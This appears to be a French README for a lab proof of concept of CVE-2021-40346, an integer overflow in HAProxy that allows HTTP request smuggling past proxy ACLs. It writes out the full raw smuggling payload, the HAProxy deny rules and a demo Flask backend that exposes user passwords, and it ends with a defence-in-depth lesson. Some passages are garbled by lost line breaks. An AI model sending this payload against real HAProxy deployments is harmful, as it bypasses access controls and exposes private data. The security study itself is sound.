
Contrebande de requêtes HTTP
Ce projet démontre CVE-2021-40346, une vulnérabilité critique de débordement d'entier dans HAProxy qui permet des attaques par contrebande de requêtes HTTP pour contourner les contrôles de sécurité.
Score CVSSv3 : 7.5 (Élevé)
CVE-2021-40346 est une vulnérabilité de débordement d'entier dans la logique d'analyse des en-têtes HTTP de HAProxy. Lorsqu'un nom d'en-tête dépasse 255 octets, la valeur de longueur déborde d'un champ 8 bits, ce qui amène HAProxy à interpréter incorrectement l'en-tête lors du transfert de la requête.
L'attaquant envoie : Nom d'en-tête = "Content-Length0" + 255×'a' = 270 octets
Phase 1 (Analyse initiale) :
name_length = 270 % 256 = 14 (débordement 8 bits)value_length = 1Content-Length: 60 et le traite comme longueur du corpsPhase 2 (Transfert de la requête) :
"Content-Length""0"content-length: 0 à la requête transféréeContent-Length: 60 (selon la logique normale)Traitement par le backend :
content-length: 0 de HAProxyConsidérez HAProxy configuré avec des règles ACL qui restreignent l'accès aux routes admin :
http-request deny if { path_beg /users/admin }
Dans notre PoC, nous utilisons une session utilisateur normale (alice) pour accéder au point de terminaison protégé /users/admin qui ne devrait être accessible qu'aux administrateurs.
Requête malveillante (Requête 1 - Poison) :
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
Requête que HAProxy transfère :
POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
Requête de complétion (Requête 2) :
GET / HTTP/1.1
Host: 127.0.0.1:8080
Requête introduite en contrebande complète que le backend traite :
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080
Résultat :
content-length: 0 (l'ACL voit une route sûre)L'instance HAProxy vulnérable est configurée avec des règles ACL pour protéger le point de terminaison admin :
...
# ACL to detect admin endpoint access
acl is_admin_endpoint path_beg /users/admin
# ACL to check for admin session cookie
acl has_admin_session cook(session) -m beg admin_
# Deny access to admin endpoint if user doesn't have admin session
http-request deny if is_admin_endpoint !has_admin_session
...
Points clés :
/users/admin est bloqué sauf si le cookie de session commence par admin_user_) sont refusésLe serveur backend a trois utilisateurs et un point de terminaison admin :
USERS = [
{'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
{'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
{'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]
@app.route('/login', methods=['POST'])
def login():
# ... authentication logic ...
# Generate session token with role prefix
prefix = 'admin_' if user['role'] == 'admin' else 'user_'
token = prefix + secrets.token_hex(16)
resp.set_cookie('session', token, httponly=True)
return resp
@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
# Returns sensitive data including all user passwords
rows = ''.join([
f"{u['id']} | {u['username']} | {u['email']} | "
f"{u['password']} | {u['role']}"
for u in USERS
])
return f"ADMIN PANELAll users with passwords:{rows}"
Modèle de sécurité :
user_a1b2c3d4...admin_a1b2c3d4.../users/adminPourquoi cela fonctionne :
POST / (autorisée)POST / (aucune restriction admin)content-length: 0 (en raison du bug de débordement)GET /users/adminGET /users/admin, révélant les mots de passeLeçon sur la défense en profondeur : Cela démontre pourquoi les backend ne devraient jamais faire aveuglément confiance au proxy. Même avec les ACL de HAProxy en place, le backend devrait :
@require_admin)Se fier uniquement au contrôle d'accès au niveau du proxy crée un point de défaillance unique.
Le PoC démontre le contournement des ACL de HAProxy pour accéder à /users/admin en utilisant la session d'un utilisateur normal en quatre étapes clés :